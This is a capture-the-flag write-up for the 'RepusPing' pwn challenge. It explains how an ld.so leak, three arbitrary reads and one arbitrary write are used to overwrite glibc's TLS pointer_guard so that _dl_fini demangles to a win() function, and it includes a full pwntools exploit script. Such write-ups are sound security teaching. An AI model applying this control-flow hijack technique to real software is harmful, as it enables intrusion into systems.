index.md
4 KiB

#RepusPing - MntcrlCTF 2026

 ยท SoloPietro

#Challenge Description

ping


#Challenge Overview

The challenge provides four “gifts” in total.

The first gift leaks a memory address within ld.so:

 __attribute__((constructor))
void init(){	
  ...
  libc_sample = (uintptr_t)&puts;
  ld_sample = (uintptr_t)_r_debug.r_ldbase;
  ...
}

int main(){
  ... 
  puts("Here's a little gift");
  printf("%#016lx\n", ld_sample);
  ...
}

Next, we are granted three arbitrary reads at addresses of our choice:

puts("I'll give you a gift, enter a number");
for(int i = 0; i < N_LEAK; i++){
	scanf("%ld", &addr);
	printf("%#016lx\n", *(uint64_t *)addr);
}
puts("No more gifts now!");

Finally, we get a single arbitrary write:

scanf("%ld", &addr);
scanf("%ld", &value);
	
__asm__ volatile (
    ".intel_syntax noprefix;"
    "mov QWORD PTR [%0], %1;"
    ".att_syntax;"
    : 
    : "r" (addr), "r" (value)
    : "memory"
);

Our ultimate goal is to hijack control flow and execute the win() function.

Protections:

RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

#Exploit

With our initial ld_base leak, we use the first two arbitrary reads to resolve essential memory bases:

  • **libc_base**: We perform an arbitrary read on a known global/GOT address (0x404070) pointing into libc. Subtracting the fixed offset (0x82060) yields the base address of libc

  • **fs_base** (TLS): By reading an ld.so internal allocation pointer at ld_base + 0x36bc8 (alloc_end), we can calculate the location of the TLS (fs_base) by subtracting its relative offset (0xb18)

Glibc protects critical function pointers (such as destructors registered in _dl_fini or __exit_funcs) using Pointer Mangling (XORing the function pointer with a random secret key and bit-rotating it).

This secret key, known as the pointer_guard, is stored directly inside the TLS at offset 0x30 (fs:0x30 on x86_64).

Using our third and final arbitrary read, we read the value of the active pointer_guard:

guard = fs_base + 0x30
old_guard = read(guard)

When the program exits, ld.so executes registered destruction routines (like _dl_fini).

Instead of trying to overwrite the mangled function pointer directly, we can use our single arbitrary write to overwrite the **pointer_guard** itself at fs_base + 0x30 with a crafted new_guard:

new_guard = (old_guard ^ _dl_fini) ^ exe.sym["win"]

When ld.so later demangles _dl_fini during process termination the resulting ptr is that of the win function.

Full exploit:

def main():
    r = conn()

    r.recvline()
    ld_base = int(r.recvline(), 16)
    alloc_end = ld_base + 0x36bc8 
    
    r.recvline()
    r.sendline(str(0x404070).encode())
    libc_base = int(r.recvline(), 16) - 0x82060

    r.sendline(str(alloc_end).encode())
    fs_base = int(r.recvline(), 16) - 0xb18
    
    _dl_fini = ld_base + 0x5c00
    guard = fs_base + 0x30
    
    r.sendline(str(guard).encode())
    old_guard = int(r.recvline(), 16)

    new_guard = (old_guard ^ _dl_fini) ^ exe.sym["win"]
        
    log.success("ld_base: %s", hex(ld_base))
    log.success("_dl_fini: %s", hex(_dl_fini))
    log.success("libc_base: %s", hex(libc_base))
    log.success("fs_base: %s", hex(fs_base))
    log.success("old_guard: %s", hex(old_guard))
    log.success("new_guard: %s", hex(new_guard))
    log.success("win: %s", hex(exe.sym["win"]))

    r.sendline(str(guard).encode())
    r.sendline(str(new_guard).encode())

    r.interactive()     

~SoloPietro & ~utcq